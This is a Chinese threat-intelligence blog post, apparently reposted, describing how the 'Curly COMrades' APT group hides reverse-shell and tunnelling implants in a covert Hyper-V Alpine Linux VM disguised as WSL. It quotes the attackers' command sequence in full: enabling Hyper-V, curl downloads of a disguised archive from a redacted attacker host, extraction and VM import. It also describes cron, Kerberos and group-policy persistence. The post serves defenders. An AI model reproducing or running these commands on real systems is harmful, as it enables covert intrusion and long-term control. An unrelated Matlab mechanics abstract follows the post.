黑客组织用 Hyper-V 虚拟机藏木马,绕过检测实现长期控制

一个名为“卷毛同志”(Curly COMrades)APT组织,利用Windows原生虚拟化功能,直接在受害者主机上为C2植入程序建立了一个隐蔽且隔离的运行基地。

这也是这起攻击最令人警惕的创新,是对合法虚拟化技术的恶意滥用。攻击者没有依赖复杂漏洞,而是直接利用 Windows 10 自带的 Hyper-V 虚拟化功能,在受害者主机上搭建了完全隔离的隐蔽环境。

攻击者在受感染的Windows机器上启用了Hyper-V功能,然后下载并导入了一个基于Alpine Linux的轻量级虚拟机,该虚拟机中包含了他们的恶意软件,从而能够持续且隐蔽地访问本地网络。

攻击始于 7 月初,攻击者通过两条远程命令启用 Hyper-V 功能并禁用管理界面,随后通过一系列伪装操作部署虚拟机:

1、先用 curl 命令进行非侵入式连接检查,验证网络可达性;

2、将包含虚拟机文件的压缩包伪装成视频文件(about.mp4)下载,实际保存为 1.rar;

3、提取虚拟机文件到仿冒系统目录

(c:\programdata\microsoft\AppV\app),规避常规检查;

4、用 PowerShell 命令导入并启动虚拟机,还将其命名为 “WSL”,伪装成常见的 Linux 子系统,降低被怀疑概率。

部署的虚拟机是一个针对特定受害者定制配置的操作环境。

它运行的是安全轻量级的Alpine Linux 系统,仅占用 120MB 的磁盘空间,内存配置为仅使用 256MB,最大限度降低系统资源占用,减少被检测风险。

这个极简环境的主要目的是托管定制的植入程序CurlyShell和CurlCat,为反向 shell 和反向代理操作提供一个专用的、隔离的基础平台。其极小的占用空间和体积最大限度地降低了被检测到的风险,同时又提供了攻击者所需的所有工具。

网络配置上,虚拟机使用 Hyper-V 默认交换机,通过 NAT 服务路由流量,所有恶意通信都伪装成主机的合法 IP 流量。

部分包含的文件也显示出针对被入侵域名的高度定制化。对虚拟机文件系统的检查发现,/etc/hosts文件中存在攻击者控制的域名到 IP 地址的映射,/etc /resolv.conf文件中存在特定的私有 DNS 服务器条目,这证实该虚拟机已被定制用于与 C2 基础设施通信。

攻击者还专门定制了网络配置文件,在 /etc/hosts 中映射控制域名,在 /etc/resolv.conf 中配置私有 DNS 服务器,确保与控制服务器的稳定通信。

而这个隐藏虚拟机的核心作用,是托管两款定制恶意软件,形成 “持久控制 + 流量转发” 的完整攻击链:

1. CurlyShell:持久反弹shell

作为核心植入程序,CurlyShell 通过 cron 任务实现根级持久化 —— 每 4 小时自动运行一次,建立 HTTPS 反向连接,接收攻击者的命令。它启动时会关闭标准输入、输出和错误流,以无头守护进程形式后台运行,完全隐藏自身痕迹。

2. CurlCat:流量隧道工具

CurlCat 负责管理 SSH 反向代理隧道,将所有出站 SSH 流量封装成普通 HTTP 请求,让恶意通信混入正常网络流量。它通过 SSH 配置指定为代理命令,所有连接都经攻击者控制的 SOCKS 代理转发,还使用专用密钥免密码登录控制服务器,确保通信隐蔽且稳定。

此外,攻击者还使用两款 PowerShell 脚本:一款通过 Kerberos 票据注入实现横向移动,另一款通过组策略创建本地账户,确保即使密码被修改也能持续访问。

总结下来,该攻击的核心隐蔽优势体现在多维度设计:

通过滥用系统原生 Hyper-V 功能、无需依赖漏洞即可绕过 EDR 检测,以独立虚拟机承载恶意软件实现与主机系统的隔离、让传统主机检测工具难以发现,同时借助 HTTP 封装 SSH 流量与伪造合法网络配置规避网络监测,最后依靠 cron 任务、组策略部署及本地账户创建等多种手段构建完善的持久化机制,确保对受害者系统的长期控制。

不过黑鸟更关注的是,如果电脑重启了,虚拟机是不是也会自启动,查了一下确实有这么个手动配置 VM 设置中的“自动启动”的选项(Automatic Start Action),不过原文没提到,估计会有设置。

详细技术细节看链接:

https://www.bitdefender.com/en-us/blog/businessinsights/curly-comrades-evasion-persistence-hidden-hyper-v-virtual-machines

值得贴一下攻击者部署虚拟机步骤:

执行两条远程命令,以启用微软Hyper-V虚拟化功能,同时禁用其管理界面: 

dism /online /disable-feature /FeatureName:microsoft-hyper-v-Management-clients /norestartdism /online /enable-feature /All /LimitAccess /FeatureName:microsoft-hyper-v /norestart

几天后,开始部署虚拟机的阶段。所有命令都以“cmd.exe /C”为前缀,所有输出(包括标准输出1和标准错误输出2 )都被重定向到一个临时文件。 

"cmd.exe" /C echo curl.exe http://<已编辑>.md | cmd > c:\\Programdata\\WindowsUpdateTask_H.tmp 2>&1

这是为下一次下载进行的非侵入式连接检查。它使用了一种不常见的重定向模式,将curl.exe命令回显(打印到屏幕上)并将其通过管道传递给另一个cmd.exe进程执行。 

"cmd.exe" /C echo curl.exe http://<已编辑>.md/about.mp4 -oc:\\programdata\\1.rar | cmd > c:\\Programdata\\WindowsUpdateTask_D.tmp 2>&1

使用相同的重定向方法,伪装成视频文件(about.mp4 )的 RAR 压缩文件保存为1.rar 。 

"cmd.exe" /C dir "c:\\program Files" > c:\\Programdata\\WindowsUpdateTask_X.tmp 2>&1

接下来,对c:\Program Files运行dir命令- 可能是为了验证是否存在所需文件,例如rar.exe (将在下一步中从此位置执行)。 

"cmd.exe" /C "c:\\program files\\WinRAR\\rar.exe" xc:\\programdata\\1.rar c:\\programdata\\microsoft\\AppV\\app > c:\\Programdata\\WindowsUpdateTask_z.tmp 2>&1

虚拟机文件(例如 VHDX 和 VMCX)被提取到具有欺骗性的c:\\programdata\\microsoft\\AppV\\app文件夹中。 

"cmd.exe" /C powershell.exe -c import-vm -path "c:\\programdata\\microsoft\\AppV\\app\\Virtual Machines\\1DBCC80B-5803-4AF1-8772-712C688F408A.vmcx" -Copy -GenerateNewId > c:\\Programdata\\WindowsUpdateTask_t.tmp 2>&1

然后使用Import-VM PowerShell cmdlet导入虚拟机。此 cmdlet将上一步中提取的预配置虚拟机文件 ( .vmcx ) 注册到本地 Hyper-V 管理器。 

"cmd.exe" /C powershell.exe -c Start-VM -name WSL > c:\\Programdata\\WindowsUpdateTask_R.tmp 2>&1

最后,使用Start-VM PowerShell cmdlet 启动这个新导入的虚拟机。

虽然WSL这个名称容易让人联想到 Windows 子系统 Linux 版 (WSL),但这其实是一种误导。

WSL 是一项允许用户在 Windows 系统中原生运行 Linux 环境的功能,而且由于它通常被认为是一种良性的开发工具,因此往往较少受到关注。

需要特别注意的是,尽管名称如此,但这个虚拟机实际上是一个完全隔离的 Hyper-V 实例,它与标准的 Windows 子系统 Linux 版框架完全分离,并且独立于框架之外。 

使用雅可比椭圆函数为Reissner平面有限应变梁提供封闭形式解(Matlab代码实现)内容概要:本文介绍了如何使用雅可比椭圆函数为Reissner平面有限应变梁问题提供封闭形式的解析解,并结合Matlab代码实现该求解过程。该方法能够精确描述梁在大变形条件下的非线性力学行为,适用于几何非线性强、传统线性理论失效的工程场景。文中详细阐述了数学建模过程,包括基本假设、控制方程推导以及利用雅可比椭圆函数进行积分求解的技术路线,最后通过Matlab编程验证了解的准确性与有效性。; 适合人群:具备一定固体力学、非线性结构分析基础,熟悉Matlab编程的研究生、博士生及科研人员,尤其适合从事结构力学、航空航天、土木工程等领域中大变形问题研究的专业人士; 使用场景及目标:① 掌握Reissner梁理论在有限应变条件下的数学建模方法;② 学习雅可比椭圆函数在非线性微分方程求解中的实际应用技巧;③ 借助Matlab实现复杂力学问题的符号计算与数值验证,提升理论与仿真结合能力; 阅读建议:建议读者在学习前复习弹性力学与非线性梁理论基础知识,重点关注控制方程的推导逻辑与边界条件的处理方式,同时动手运行并调试所提供的Matlab代码,深入理解椭圆函数库的调用方法与结果可视化流程,以达到理论与实践深度融合的目的。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值